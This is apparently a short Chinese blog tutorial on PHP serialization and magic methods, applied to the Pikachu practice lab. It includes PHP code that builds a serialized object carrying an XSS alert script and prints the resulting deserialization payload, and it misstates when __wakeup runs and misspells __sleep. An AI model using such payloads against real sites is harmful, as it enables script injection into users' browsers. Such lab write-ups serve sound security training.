php中序列化serialize(), 反序列化unserialize()
序列化:serialize()
是把一个对象变成可以传输的字符串
反序列化 unserialize()
就是把序列化的字符串还原成为对象,然后再接下来的代码中继续使用
常见的几个魔法函数:(注意被调用就是执行!!)
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
_sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
这里直接说明:在pikachu中是使用了__construct()函数,所以在创建对象时,就会调用执行小黑用户上传的恶意代码
好了,现在小黑只需要做出一个序列化的代码即可上传了!
<?php
class S{
var $test = "<script>alert('xss')</script>";
}
echo '<br>';
$a = new S();
echo serialize($a);
?>
上面代码找个文本文档改个后缀。用网页打开
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
这样你就得到一个payload,去试试吧!
ok!over!